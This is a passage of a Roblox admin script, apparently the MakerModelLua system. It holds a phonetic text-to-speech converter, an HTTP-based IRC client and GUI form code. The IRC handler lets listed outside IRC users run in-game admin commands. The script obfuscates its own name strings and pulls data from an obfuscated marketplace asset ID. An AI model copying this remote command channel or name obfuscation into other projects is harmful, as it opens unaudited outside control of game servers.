3313 table.insert(IDs, TextConverter.LetterSounds["oo"])
3314 table.remove(Letters, Num + 1)
3315 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3316 table.insert(IDs, TextConverter.LetterSounds["oo"])
3317 table.remove(Letters, Num + 1)
3318 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3319 table.insert(IDs, TextConverter.LetterSounds["th"])
3320 table.remove(Letters, Num + 1)
3321 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3322 table.insert(IDs, TextConverter.LetterSounds["sh"])
3323 table.remove(Letters, Num + 1)
3324 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3325 table.insert(IDs, TextConverter.LongVowels["e"])
3326 table.remove(Letters, Num + 1)
3327 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3328 table.insert(IDs, TextConverter.LetterSounds["wh"])
3329 table.remove(Letters, Num + 1)
3330 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3331 table.insert(IDs, TextConverter.LetterSounds["ch"])
3332 table.remove(Letters, Num + 1)
3333 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3334 table.insert(IDs, TextConverter.LetterSounds["f"])
3335 table.remove(Letters, Num + 1)
3336 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3337 table.insert(IDs, TextConverter.LetterSounds[Num])
3338 Letters[Num + 1] = "j"
3339 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3340 table.insert(IDs, TextConverter.LetterSounds["oo"])
3341 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3342 table.insert(IDs, TextConverter.LongVowels["e"])
3343 table.remove(Letters, Num + 1)
3344 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3345 table.insert(IDs, TextConverter.LongVowels["e"])
3346 table.remove(Letters, Num + 1)
3347 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3348 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3349 table.insert(IDs, TextConverter.LetterSounds["s"])
3350 Letters[Num + 1] = "~"
3351 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3352 table.insert(IDs, TextConverter.LongVowels[Letter])
3353 Letters[Num + 2] = "~"
3354 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3355 table.insert(IDs, TextConverter.LongVowels["i"])
3356 Letters[Num + 1] = "~"
3357 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3358 table.insert(IDs, TextConverter.LongVowels["o"])
3359 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3360 table.insert(IDs, TextConverter.LongVowels["i"])
3361 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3362 AddLetter()
3363 table.remove(Letters, Num + 1)
3364 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3365 Letters[Num] = "~"
3366 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3367 AddLetter()
3368 table.remove(Letters, Num + 1)
3369 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3370 AddLetter()
3371 table.remove(Letters, Num + 1)
3372 elseif Letters[Num+1] == Letter then
3373 table.remove(Letters, Num)
3374 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3375 AddLetter()
3376 table.remove(Letters, Num)
3377 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3378 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3379 elseif TextConverter.LetterSounds[Letter] then
3380 AddLetter()
3381 elseif STRING:IsSpacer(Letter) then
3382 table.insert(IDs, "Rest")
3383 end
3384 end
3385 end
3386
3387 return IDs
3388end
3389
3390function SOUND:StopSpeaking() coroutine.wrap(function()
3391 NoSpeak = true
3392 wait(1)
3393 NoSpeak = false
3394 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3395 if Obj.Name == "M".."M".."L Speak Sound" then
3396 Obj:Destroy()
3397 end
3398 end
3399end)() end
3400
3401function SOUND:SayConvertedText(IDs, Parent)
3402 if not Parent then Parent = Server.Workspace end
3403 local Sounds = {}
3404 for _,Data in pairs(IDs) do
3405 if NoSpeak and Parent == Server.Workspace then
3406 break
3407 end
3408 local Length = 0.3
3409 if Data ~= "Rest" then
3410 local ID = Data[1]
3411 Length = Data[2]
3412
3413 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3414 Sound.Name = "MML Speak Sound"
3415 table.insert(Sounds, Sound)
3416 Sound:Play()
3417 if Length then
3418 coroutine.wrap(function()
3419 wait(Length)
3420 Sound:Stop()
3421 end)()
3422 end
3423 end
3424 if not Length then Length = 0.3 end
3425 wait(Length/2)
3426 end
3427 coroutine.wrap(function()
3428 wait(1)
3429 for _,Sound in pairs(Sounds) do
3430 Sound:Destroy()
3431 end
3432 end)()
3433end
3434
3435local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3436
3437function SOUND:BeepPlayer(Player)
3438 if Player:FindFirstChild("PlayerGui") then
3439 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3440 Beep.Name = "Annoy"
3441 Beep:Play()
3442 end
3443end
3444
3445-- IRC functions --
3446
3447function IRC:GenerateName()
3448 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3449end
3450
3451function IRC:AddChat(Name, Data, IsError)
3452 if not IsError then IsError = false end
3453 CORE:Log(IRC.Logs, Name, Data)
3454 table.insert(IRC.Chats, {Name, Data, IsError})
3455 IRC.MessageAdded:Fire(Name, Data, IsError)
3456end
3457
3458function IRC:Post(URL,Data)
3459 if Data and Data ~= "" then
3460 local Suc,Resp = ypcall(function()
3461 return Server.HS:PostAsync(
3462 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3463 Data,
3464 Enum.HttpContentType.ApplicationUrlEncoded
3465 )
3466 end)
3467 if not Suc then
3468 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3469 return false
3470 end
3471 IRC.SessionCounter = IRC.SessionCounter + 1
3472 return Resp
3473 else
3474 IRC:AddChat("[ CLIENT ]", "Unknown error")
3475 end
3476end
3477
3478function IRC:Send(Data)
3479 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3480end
3481
3482function IRC:GetData()
3483 return IRC:Post("s","&s="..IRC.SessionID)
3484end
3485
3486function IRC:Connect()
3487 return IRC:Post("n","&nick="..IRC.NickName)
3488end
3489
3490function IRC:Join(Channel)
3491 if not Channel then
3492 AddChat("[ CLIENT ]", "No channel specified!")
3493 return false
3494 else
3495 local Channel = string.lower(Channel)
3496 if string.sub(Channel,1,1) ~= "#" then
3497 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3498 return false
3499 end
3500 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3501 IRC:Send("JOIN "..Channel)
3502 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3503 return true
3504 end
3505end
3506
3507function IRC:Pong(Data)
3508 return IRC:Send("PONG :"..Data)
3509end
3510
3511function IRC:Quit(Reason)
3512 IRC.Stop = true
3513 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3514end
3515
3516function IRC:ReceiveData()
3517 IRC.Stop = false
3518 local Data = IRC:GetData()
3519 if Data then
3520 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3521 end
3522 while Data and not Stop do
3523 local Data = IRC:GetData()
3524 if Data and #Data > 0 then
3525 IRC:HandleResponse(REMOTE:Decode(Data))
3526 end
3527 wait(2) -- Don't spam the server
3528 end
3529 if not Data then
3530 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3531 end
3532 if Stop == true then
3533 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3534 end
3535end
3536
3537function IRC:ConnectToServer(Server)
3538 if Connected then
3539 if not IRC.Servers[Server] then
3540 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3541 return false
3542 end
3543 IRC:Quit("New Connection")
3544 end
3545 local Response = IRC:Connect()
3546 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3547 local Data = REMOTE:Decode(Response)
3548 IRC.SessionID = Data[2]
3549 wait(1)
3550 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3551 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3552 IRC:Quit()
3553 IRC:ConnectToServer(Server)
3554 end
3555 IRC.Connected = true
3556 IRC:Join(Settings.IRCChannel)
3557 IRC:ReceiveData()
3558 IRC.Connected = false
3559 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3560end
3561
3562function IRC:FindUser(UserName)
3563 for UserID,User in pairs(IRC.Users) do
3564 if string.lower(User) == string.lower(UserName) then
3565 return UserID
3566 end
3567 end
3568 return nil
3569end
3570
3571function IRC:HandleResponse(Data)
3572 if type(Data) ~= "table" then
3573 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3574 ypcall(function()
3575 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3576 end)
3577 return false
3578 end
3579 for _,Output in pairs(Data) do
3580 if type(Output) == "table" and Output[2] then
3581 local ID = string.upper(Output[2])
3582 if not IRC.Ignore[ID] then
3583 if ID == "PING" then
3584 IRC:Pong(Output[4][1])
3585 elseif ID == "PRIVMSG" then
3586 local SenderDetails = Output[3]
3587 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3588 local Channel = string.lower(Output[4][1])
3589 if Channel == IRC.NickName then
3590 Channel = Sender
3591 -- TODO: Handle PM's
3592 end
3593 local Message = Output[4][2]
3594 if Message ~= nil then
3595 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3596 if string.find(Message,":") then
3597 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3598 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3599 IRC:AddChat(IRCUser, IRCMessage)
3600 end
3601 else
3602 IRC:AddChat("[ IRC ] "..Sender,Message)
3603 for _,Name in pairs(Settings.IRCCommandExecuters) do
3604 if string.lower(Name) == string.lower(Sender) then
3605 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3606 break
3607 end
3608 end
3609 end
3610 else
3611 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3612 end
3613 elseif ID == "NICK" then
3614 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3615 -- change nickname?
3616 elseif ID == "433" or ID == "451" then
3617 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3618 IRC:Quit("Nickname in use, rejoining with new name")
3619 IRC.NickName = IRC:GenerateName()
3620 wait(2) -- wait for old sessions to end
3621 IRC:ConnectToServer(Settings.IRCServer)
3622 elseif ID == "353" then
3623 if Data[4][4][4] then
3624 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3625 table.insert(IRC.Users, Output)
3626 end
3627 end
3628 elseif ID == "QUIT" or ID == "PART" then
3629 for User in string.gmatch(Data[1][3], "[^!~]+") do
3630 if IRC:FindUser(User) then
3631 IRC:AddChat("[ IRC ]", User.." has left")
3632 table.remove(IRC.Users, IRC:FindUser(User))
3633 end
3634 end
3635 elseif ID == "JOIN" then
3636 for User in string.gmatch(Data[1][3], "[^!~]+") do
3637 if not string.find(User, "qwebirc") then
3638 IRC:AddChat("[ IRC ]", User.." has joined")
3639 table.insert(IRC.Users,w)
3640 end
3641 end
3642 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3643 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3644 --IRC:Quit("Connection lost")
3645 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3646 --IRC:ConnectToServer(Settings.IRCServer)
3647 elseif IRC.Codes[ID] then
3648 --print(ID)
3649 --print(Data[i][4][2])
3650 --print(Data[i][4][2])
3651 elseif ID == "KICK" then
3652 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3653 IRC:Quit("Kicked from IRC")
3654 elseif ID then
3655 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3656 else
3657 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3658 end
3659 end
3660 else
3661 if Output == false then return false end -- sneeky server
3662 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3663 end
3664 end
3665end
3666
3667-- GUI functions --
3668
3669function GUI:GetColor(ColorName)
3670 if not ColorName then ColorName = Settings.ColorScheme end
3671 return Colors[string.upper(ColorName)]
3672end
3673
3674function GUI:ContrastColor(Color)
3675 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3676 if not Color then Color = GUI:GetColor() end
3677 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3678end
3679
3680
3681function GUI:GetNameColor(Name)
3682 local Val = 0
3683 for i = 1, #Name do
3684 local CVal = string.byte(string.sub(Name, i, i))
3685 local RevIndex = #Name - i + 1
3686 if #Name%2 == 1 then
3687 RevIndex = RevIndex - 1
3688 end
3689 if RevIndex%4 >= 2 then
3690 CVal = -CVal
3691 end
3692 Val = Val + CVal
3693 end
3694 local Index = Val%8 + 1
3695
3696 return BrickColor.new(ChatColors[Index])
3697end
3698
3699function GUI:Color3ToHex(Color)
3700 local function ConvertNumber(Number)
3701 local HexString = "0123456789abcdef"
3702 local Byte = ""
3703 while Number > 0 do
3704 local Calc = math.fmod(Number, 16)
3705 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3706 Number = math.floor(Number / 16)
3707 end
3708 if Calc == "" then
3709 Byte = "00"
3710 elseif #Byte == 1 then
3711 Byte = "0"..Byte
3712 elseif Byte == "" then
3713 Byte = "00"
3714 end
3715 return Byte
3716 end
3717 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3718end
3719
3720function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3721 if not Player then return nil end
3722 if not Player:FindFirstChild("PlayerGui") then return nil end
3723 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3724 if not TitleText then TitleText = "Unknown" end
3725 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3726 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3727 if not IconID then IconID = 19919809 end
3728 if ShowFormButtons == nil then ShowFormButtons = true end
3729 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3730 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3731 if AutoOffset == nil then AutoOffset = true end
3732 if Icons[IconID] then IconID = Icons[IconID] end
3733 if TweenPosition == nil then TweenPosition = true end
3734 if NoModal == nil then NoModal = false end
3735 if NoScrollFrame == nil then NoScrollFrame = false end
3736
3737 local IsClosed = false
3738 local Minus = nil
3739 local Offset = 0
3740 local ContentType = "ScrollingFrame"
3741 local TweenSpeed = 0.3
3742
3743 if AutoOffset then
3744 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3745 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3746 if Item.IsActive.Value == true then
3747 if Item.IsTrueForm.Value == true then
3748 Offset = Offset + 50
3749 end
3750 end
3751 end
3752 end
3753 end
3754
3755 if NoScrollFrame == true then
3756 ContentType = "Frame"
3757 end
3758
3759 SOUND:PlayNotification(Player, 155331654)
3760
3761 local Position = Position + UDim2.new(0,Offset,0,Offset)
3762 local MinimizePos = Position
3763
3764 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3765 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3766 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3767
3768 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3769 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3770 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3771 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3772 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3773 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3774 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3775 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3776 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3777
3778 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3779 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3780 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3781 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3782 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3783
3784 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3785
3786 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3787
3788 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3789 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3790 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3791 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3792 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3793 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3794
3795 if Settings.EnableTaskBar then
3796 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3797 else
3798 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3799 Title.Size = UDim2.new(1, -95, 0, 25)
3800 end
3801
3802 if not ShowFormButtons then
3803 X:Destroy()
3804 TitleEnd:Destroy()
3805 Title.Size = UDim2.new(1, -55, 0, 25)
3806 end
3807
3808 local function CloseForm()
3809 if IsClosed == false then
3810 IsActive.Value = false
3811 IsClosed = true
3812 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) SG:Destroy() end) end)
3813 Closed:Fire()
3814 SOUND:PlayNotification(Player, 206375138)
3815 end
3816 end
3817
3818 local function MinimizeForm()
3819 if IsActive.Value == true then
3820 IsActive.Value = false
3821 Minimized:Fire()
3822 MinimizePos = Dragger.Position
3823 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
3824 end
3825 end
3826
3827 local function RestoreForm()
3828 if IsActive.Value == false then
3829 IsActive.Value = true
3830 Restored:Fire()
3831 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
3832 end
3833 end
3834
3835 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
3836 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
3837
3838 Close.OnInvoke = CloseForm
3839 Minimize.OnInvoke = MinimizeForm
3840 Restore.OnInvoke = RestoreForm
3841
3842 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
3843
3844 if TaskBar then
3845 TaskBar:WaitForChild("AddForm")
3846 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
3847 end
3848
3849 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
3850end
3851
3852function GUI:CoreGui(Player, Type, Enable)
3853 local Parent = Player:FindFirstChild("Backpack")
3854 if not Parent then Parent = Player.Backpack end
3855 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
3856end
3857
3858function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime)
3859 if not Player or not Player:IsA("Player") then return nil end
3860 if BodyText == "" then return nil end
3861 if not Player:FindFirstChild("PlayerGui") then return nil end
3862
3863 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
3864 local TextColor = GUI:GetColor(MessageSplit[1])
3865 if TextColor then BodyText = MessageSplit[2] end
3866 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
3867
3868 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
3869 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
3870
3871 if Frame then
3872 local FormBar = Frame.Parent.Parent.FormBar
3873 local Said = false
3874 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
3875 if Settings.EnableTaskBar then
3876 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
3877 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
3878 else
3879 Speak.Position = UDim2.new(1, -58, 0, 5)
3880 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
3881 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
3882 end
3883 CORE:HandleEvent(Speak, "MouseButton1Down", function()
3884 if not Said then
3885 Said = true
3886 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
3887 end
3888 end)
3889
3890 if TextColor then
3891 Body.TextColor3 = TextColor
3892 else
3893 Body.TextColor3 = Color3.new(1,1,1)
3894 end
3895
3896 if tonumber(Time) then coroutine.wrap(function()
3897 if AutoTime then
3898 Time = Time + math.floor(#BodyText/7)
3899 end
3900 local Alive = true
3901
3902 local function StopTimer() Alive = false end
3903 Closed.Event:connect(StopTimer)
3904 Minimized.Event:connect(StopTimer)
3905
3906 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
3907 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
3908 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
3909 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
3910 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
3911 for i = Time,0,-1 do
3912 for ii = 1,10 do
3913 if Alive == true then
3914 Ticker.Text = i
3915 wait(0.1)
3916 else
3917 break
3918 end
3919 end
3920 end
3921 if Alive == true then
3922 Close:Invoke()
3923 else
3924 Ticker:Destroy()
3925 Stop:Destroy()
3926 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
3927 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
3928 end
3929 end)() end
3930
3931 CORE:ExecuteResource("CalculateScrollY", Body)
3932 end
3933end
3934
3935function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
3936 if not Player then return nil end
3937 if not Player:IsA("Player") then return nil end
3938 if BodyText == "" then return nil end
3939 if not Player:FindFirstChild("PlayerGui") then return nil end
3940 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
3941 local TextColor = GUI:ContrastColor()
3942 if Error then TextColor = Color3.new(1,0,0) end
3943
3944 local Frame, Close, Closed = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
3945 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
3946
3947 CORE:ExecuteResource("CalculateScrollY", Body)
3948
3949 return Frame, Close, Closed
3950end
3951
3952function GUI:SendHint(Player, Text, Time) coroutine.wrap(function()
3953 Text = STRING:FormatReplace(Player, string.sub(Text,1,100))
3954 local TweenTime = 0.5
3955 if not Time then Time = 5 end
3956 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
3957 local MaxPos = -1
3958 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
3959 local IVal = SGObj:FindFirstChild("Index")
3960 if IVal then
3961 MaxPos = math.max(MaxPos, IVal.Value)
3962 end
3963 end
3964 MaxPos = MaxPos + 1
3965 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
3966 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
